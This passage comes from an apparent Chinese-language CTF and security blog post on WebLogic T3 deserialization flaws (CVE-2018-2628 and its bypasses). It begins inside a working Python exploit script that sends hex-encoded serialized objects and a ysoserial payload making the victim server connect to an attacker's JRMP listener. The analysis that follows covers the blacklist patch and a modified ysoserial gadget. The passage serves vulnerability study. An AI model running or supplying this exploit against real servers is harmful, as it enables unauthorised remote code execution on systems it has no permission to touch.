706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')


if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()

dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)


image.png
image.png
最后可以发现创建文件成功
image.png

漏洞原理分析

起手式还是那样,毕竟反序列化入口就在那里,这里其实可以看看这篇文章
以TCTF2022-3rm1 拓展开的学习
我估计这一题就是根据这个CVE改的,太明显拉!套中套!

  • 4.11 累了,昨天出了一天的题,今天我想总结一下然后打个Htb结束

好了继续来分析,首先remoteinvocationhandler本身没有readObject方法,可是它父类有,所以进入了父类
image.pngref.readExternal方法,下面的变量是构造的恶意Unicastref,跟进
image.png
就进入read方法
image.png
接下来就是一些列的嵌套,这个在RMI里面讲过,然后就是对我们恶意服务端发请求了
利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,获取RMI registry,序列化之后发送给weblogic,weblogic会请求我们的JRMPListener,然后将获取的内容利用readObject()进行解析,导致恶意代码执行

漏洞修复

1
2
3
4
5
6
7
8
9
10
11
12
13
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;

for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if (intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}

return super.resolveProxyClass(interfaces);
}

看上面的补丁,补丁都是搭载resolveclass这里,治标不治本,黑名单罢了,就是ban掉了那个Registry,那我们不进入代理的Resolveclass就好了。

CVE-2018-2628(绕过1)

直接反序列化UnicastRef.
image.png
人家有自己的readExternal,也会触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Registry getObject(final String command) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}

上面代码是修改ysoserial的JRMPClient模块后的代码

CVE-2018-2893(绕过2)

由于weblogic一直没有处理streamMessageImpl,导致CVE-2016-0638 + CVE-2018-2628 = CVE-2018-2893,用streamMessageImpl封装一下而已。

CVE-2018-3245(绕过3)

RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler,实际上就是找RemoteObject类的子类。https://github.com/pyn3rd/CVE-2018-3245

CVE-2020-2551 IIOP协议反序列化RCE

环境

weblogic10.3.6+jdk1.6 idea+jdk1.8+jdk1.6

IIOP介绍

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF#Weblogic